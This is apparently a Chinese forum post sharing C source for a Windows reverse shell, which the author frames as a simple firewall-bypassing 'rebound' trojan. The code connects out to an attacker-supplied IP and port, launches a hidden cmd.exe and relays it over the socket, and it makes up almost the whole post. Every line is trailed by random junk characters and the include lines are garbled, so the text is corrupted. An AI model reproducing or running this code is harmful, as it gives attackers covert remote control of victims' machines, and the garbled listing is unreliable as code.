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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q2HYiH^L  
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/* ============================== Ym;*Y !~[  
Rebound port in Windows NT cqxVAzb  
By wind,2006/7 UH7jP#W%=  
===============================*/ Z{?G.L*/  
#include y qtKy  
#include Jk,;JQ  
= k\J<  
#pragma comment(lib,"wsock32.lib") :qC '$dO!  
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void OutputShell(); +{sqcr1G  
SOCKET sClient; s/089jlc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <\?wAjc,  
h gJ[LU|>  
void main(int argc,char **argv) |>@W ]CX[  
{ @{Gncy|  
WSADATA stWsaData; iQ{G(^sZN  
int nRet; \"hJCP?,  
SOCKADDR_IN stSaiClient,stSaiServer; ctcS:<r/3@  
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if(argc != 3) qZ@s#UiB  
{ e%W$*f  
printf("Useage:\n\rRebound DestIP DestPort\n"); yCCrK@{oo  
return; r(gXoq_w  
} YKQr, Now  
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WSAStartup(MAKEWORD(2,2),&stWsaData); {k rswh3  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e}1uz3Rh  
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stSaiClient.sin_family = AF_INET; s+>:,U<A  
stSaiClient.sin_port = htons(0); arf8xqR-U]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); +^;JS3p@\  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (p%>j0<  
{ A_KW(;50  
printf("Bind Socket Failed!\n"); >M&3Y XC  
return; ~i 7^P9  
} 0Won9P  
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stSaiServer.sin_family = AF_INET; Y3Q9=u*5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4j)tfhwd8  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y`?-VaY  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \6\<~UX^  
{ :6%Z]tt  
printf("Connect Error!"); B7imV@<  
return; s&j-\bOic9  
} X1~1&:V,<  
OutputShell(); DK}"b}Fvq  
} k1Q ?'<`  
j&k6O1_  
void OutputShell() 0Fu~%~#E$  
{ + nF'a(  
char szBuff[1024]; G8Du~h!!U  
SECURITY_ATTRIBUTES stSecurityAttributes; oY, %Iq  
OSVERSIONINFO stOsversionInfo; .YuJJJv  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "Wx]RN:  
STARTUPINFO stStartupInfo; ~g.$|^,.O/  
char *szShell; 5xL~`-IA&v  
PROCESS_INFORMATION stProcessInformation; 0Lb4'25.  
unsigned long lBytesRead; Jec'`,Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l#n,Fg3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tsk)zP,<  
stSecurityAttributes.lpSecurityDescriptor = 0; ^Ox3XC  
stSecurityAttributes.bInheritHandle = TRUE; 0V?F'<qy  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j)q\9#sI/(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {p,]oOq\  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); CD8}I85 K  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mx=BD'  
stStartupInfo.wShowWindow = SW_HIDE; 33}oO,}t,  
stStartupInfo.hStdInput = hReadPipe; U,LTVYrO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %Rsp;1Z  
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GetVersionEx(&stOsversionInfo); `jOX6_z?I  
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switch(stOsversionInfo.dwPlatformId) rXHv`k y  
{ b5^OQH{v  
case 1: )5 R=Z<  
szShell = "command.com"; k?7 X3/O  
break; "!EcbR  
default: C"{k7yT  
szShell = "cmd.exe"; H$6`{lx,  
break; KZeQ47|  
} 0Zg%+)iy@  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Lco& Fp  
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send(sClient,szMsg,77,0); :Lz\yARpk  
while(1) F;>!&[h}G  
{ ."Y e\>k  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bwl|0"f+`  
if(lBytesRead) gmm.{%1_I;  
{ ?^N3&ukkyo  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M.>l#4s,'  
send(sClient,szBuff,lBytesRead,0); Nr=d<Us9f  
} Ox-|JJ=  
else T' ~!9Q  
{ )l#E}Uz  
lBytesRead=recv(sClient,szBuff,1024,0); /:FOPPs  
if(lBytesRead<=0) break; .c$316  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .(WQYOMl0  
} iya"ky~H  
} *<!oHEwkN  
Y &K;l_  
return; B2O}1.  
}
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